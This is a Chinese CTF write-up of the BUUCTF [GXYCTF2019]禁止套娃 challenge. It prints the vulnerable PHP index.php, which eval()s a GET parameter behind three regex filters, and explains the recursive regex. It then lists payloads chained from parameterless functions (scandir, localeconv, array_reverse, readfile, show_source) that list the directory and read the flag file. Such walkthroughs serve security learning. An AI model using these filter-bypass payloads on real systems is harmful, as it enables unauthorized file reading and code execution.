无参数RCE
前言
- 环境:buuctf中[GXYCTF2019]禁止套娃
- 知识点:无参数读文件和RCE
- 参考:博客
做题
进去题目,f12没提示,响应包没提示,扫后台的话,buu扫会导致429,难搞看了wp是git泄露,但是我用GitHack却还原不了。。不知道啥原因
index.php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
审计,绕过三个正则,第一个正则是防伪协议的,第三个正则防一些关键字,第二个正则,额。。看不懂
正则知识
\w :匹配包括下划线的任何单词字符,等价于 [A-Za-z0-9_]
\W :匹配任何非单词字符,等价于 [^A-Za-z0-9_]
(?R)?这个意思为递归整个匹配模式
那么这里第二个正则表示的意思大概是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;
举个例子:
a(b(c()));可以使用,但是a('b')或者a('b','c')这种含有参数的都不能使用
所以我们要使用无参数的函数进行文件读取或者命令执行
以下payload都是从博客,瞟来的
读取当前目录
localeconv()
localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."
current()返回数组中的单元,默认取第一个值
print_r(scandir(current(localeconv())));成功打印出当前目录下文件
或者使用print_r(scandir(pos(localeconv())));,pos是current的别名
如果都被过滤还可以使用reset(),该函数返回数组第一个单元的值
即print_r(scandir(reset(localeconv())))
正常的,我们还可以用print_r(scandir('绝对路径'));来查看当前目录文件名
获取绝对路径可用的有getcwd()和realpath('.')
所以我们还可以用print_r(scandir(getcwd()));和print_r(scandir(realpath('.')));输出当前文件夹所有文件名
读取当前目录下文件
手册里有这些方法,如果要获取的数组是最后一个我们可以用:
show_source(end(scandir(getcwd())));或者用readfile、highlight_file、file_get_contents 等读文件函数都可 以(使用readfile和file_get_contents读文件,显示在源码处)
ps:readgzfile()也可读文件,常用于绕过过滤
array_reverse() 以相反的元素顺序返回数组
zflag.php本来在最后一位,反过来就成为第一位,可以直接用current(pos)读取,即 show_source(current(array_reverse(scandir(getcwd()))));
如果是倒数第二个我们可以用:
show_source(next(array_reverse(scandir(getcwd()))));
所以这题可以构造payload:
读取目录
?exp=print_r(scandir(current(localeconv())));
读取flag文件
?exp=readfile(next(array_reverse(scandir(current(localeconv())))));